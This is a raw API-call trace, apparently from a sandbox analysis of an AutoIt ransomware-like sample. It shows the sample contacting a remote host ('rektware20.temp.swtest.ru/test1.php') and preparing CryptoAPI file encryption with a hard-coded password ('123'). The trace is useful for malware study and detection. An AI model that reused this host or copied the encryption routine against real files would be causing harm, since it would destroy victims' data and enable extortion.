[0074.861] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0074.861] CloseHandle (hObject=0x0) returned 0 [0074.862] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\a8vJTaJRC.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.862] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Desktop\\a8vJTaJRC.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.862] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Desktop\\a8vJTaJRC.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.862] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Desktop\\a8vJTaJRC.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.862] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Desktop\\a8vJTaJRC.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.862] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Desktop\\a8vJTaJRC.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.863] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Desktop\\a8vJTaJRC.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.863] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Desktop\\a8vJTaJRC.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.863] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Desktop\\a8vJTaJRC.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.863] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Desktop\\a8vJTaJRC.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.863] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Desktop\\a8vJTaJRC.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.863] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Desktop\\a8vJTaJRC.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.863] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Desktop\\a8vJTaJRC.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.863] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Desktop\\a8vJTaJRC.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.863] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Desktop\\a8vJTaJRC.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.863] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Desktop\\a8vJTaJRC.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.863] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Desktop\\a8vJTaJRC.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.863] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Desktop\\a8vJTaJRC.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.863] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Desktop\\a8vJTaJRC.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.863] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Desktop\\a8vJTaJRC.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.863] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Desktop\\a8vJTaJRC.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.863] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Desktop\\a8vJTaJRC.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.863] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Desktop\\a8vJTaJRC.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.863] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="esktop\\a8vJTaJRC.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.863] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sktop\\a8vJTaJRC.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.863] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ktop\\a8vJTaJRC.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.863] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="top\\a8vJTaJRC.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.863] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="op\\a8vJTaJRC.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.863] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p\\a8vJTaJRC.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.863] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\a8vJTaJRC.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.863] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="a8vJTaJRC.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.863] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="8vJTaJRC.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.863] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="vJTaJRC.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.863] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="JTaJRC.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.863] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="TaJRC.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.863] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="aJRC.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.863] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="JRC.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.863] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RC.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.863] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.864] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0074.864] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.864] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0074.864] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0074.864] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0074.864] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0074.864] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0074.864] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0074.864] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0074.864] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0074.864] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620d30, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620d30, lpdwBufferLength=0x130ee1c) returned 1 [0074.864] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0074.864] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0074.864] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0074.865] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0074.865] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0074.865] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0074.865] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292a0*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0074.865] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629410, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629410*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0074.865] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0074.866] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0074.866] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0074.866] CloseHandle (hObject=0x0) returned 0 [0074.866] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.866] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\a8vJTaJRC.avi", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d130 [0074.866] FindClose (in: hFindFile=0x164d130 | out: hFindFile=0x164d130) returned 1 [0074.866] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.866] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0074.866] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.866] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0074.866] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0074.866] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.866] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0074.867] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.867] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.867] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0074.867] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.867] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.867] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.867] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.867] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.867] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0074.867] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0074.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0074.868] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0074.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0074.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e330, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0074.868] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0074.868] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x1632100) returned 1 [0074.869] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.869] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.869] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0074.870] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.870] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.870] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.870] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.871] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.871] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0074.871] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.871] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.871] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.871] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.871] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.871] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.871] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0074.871] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.871] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.871] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0074.871] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.871] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0074.871] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0074.871] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.871] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.872] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0074.872] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0074.872] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0074.872] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.872] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.872] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.872] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.872] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0074.872] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0074.872] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0074.872] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0074.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16213a8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0074.872] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0074.873] CryptCreateHash (in: hProv=0x1632100, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0074.873] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.873] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.873] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.873] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0074.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629480, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0074.873] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0074.873] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0074.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629470, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0074.873] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.873] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.873] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0074.873] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0074.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x16216c0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0074.874] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0074.874] CryptHashData (hHash=0x164c770, pbData=0x1629330, dwDataLen=0x3, dwFlags=0x1) returned 1 [0074.874] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.874] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.874] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.874] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.874] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0074.874] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0074.874] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0074.874] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0074.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621918, cbMultiByte=15, lpDefaultChar=0x0, 